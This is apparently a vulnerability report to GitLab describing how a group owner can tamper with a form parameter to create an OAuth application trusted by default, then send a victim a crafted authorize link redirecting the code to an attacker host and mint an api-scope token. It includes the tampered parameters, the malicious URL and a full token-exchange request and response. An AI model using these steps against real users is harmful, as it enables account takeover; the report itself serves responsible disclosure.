Mint Oauth2 access token for targeted user

How it was found

Summary

It is possible to mint access token for targeted user. There is a flaw for group level application setup. It allows a group owner to create an application with user's trust by default. This bypassed the CSRF control for authorization flow.

Steps to reproduce

1. Login as user1 , create a group called malicious group

2. Create an Applications in Settings > Applications > api scope checked

3. Open the created application and click Edit, intercept the request when you click "Save application", append the following doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1& This will allow us to create an application that is trusted by default. This is an intended function for instance admin.

4. Send the following link to the user, or put it in an img tag. https://gitlab.com/login/oauth/authorize?redirect_uri=http://<attacker-control>.com&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api

5. You will be able to see a request with the Code

6. You can mint the access token using the following endpoint.

POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: perf_bar_enabled=true; experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltTTBaR0ZsWWpWa0xXUXdPRFV0TkRjM05TMWlPRGxtTFRVMk5UYzJORFF3WXpsa01pST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--364fb7d4479cb94e08660b9c20f6b7692c7e53a4; _gitlab_session_a577db8f7188ca777cf6a20a7928c67f45ba397ca4a4a162d17662b5e845194c=d114336bb9c2a113ff2e6d5542e17a63; known_sign_in=bGtzOVNNWWY1SitJVDBMUE5WS0VqbXBvbWRyRzhLaXdzKyt6L0FpanZIMndzYVhRUHZpYnlncjJFSFJzNEl3b0dvMlNaVEF4d25PRys4ZDFiYmgvRUpVRWRVdlVRL3YyUXNaUEx4LzExL25YTWk2KzBIUlg3dldFQlpkQ2dDL2YtLTc4cUhhZmJrK2JUckRvT0FONjBRZ1E9PQ%3D%3D--ddb6a3bf3b2faa846ab4a0b2e0ecef561f0c5a99; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Content-Length: 223

code=6c53ef532f34762b8705029d4fd005d2c32d788d3e3a78151c1b5f6a2743dffc&client_id=04a5da53b6faaba4758fcb0e7bd80845795c9c838363568c9b4efcc0bcec1934&client_secret=9de25469a82dee694ae4e33e02a3e97156bec87ba905fc4e3e34b9de805f9dc4

Response

HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate, no-store
Content-Type: text/plain; charset=utf-8
Etag: W/"a219f8ac2bd29580e1f17894de3956da"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: integrations
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F2E6M6TER14PB17H6XCDC0B3
X-Runtime: 0.257708
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Date: Sun, 04 Apr 2021 10:25:03 GMT
Content-Length: 105
Connection: close

access_token=bc3450dfcc2fb46eece85d1f74d96070f94cd35e656b184706027227243d5338&scope=api&token_type=Bearer

(Step-by-step guide to reproduce the issue, including:)

(1. any preconditions in the environment) (2. complete HTTP or API request, or) (3. user action, ) (4. etc.)

Impact

I believe you can gain api scope access to any targeted user. I will try to enable more scopes later.

What is the current bug behavior?

Able to obtain user's code without consent and mint access token which can be used to do things on behalf of the user.

What is the expected correct behavior?

Group owner should not be able to enable trusted by default when creating application.

Impact

Gain access to targeted user's data.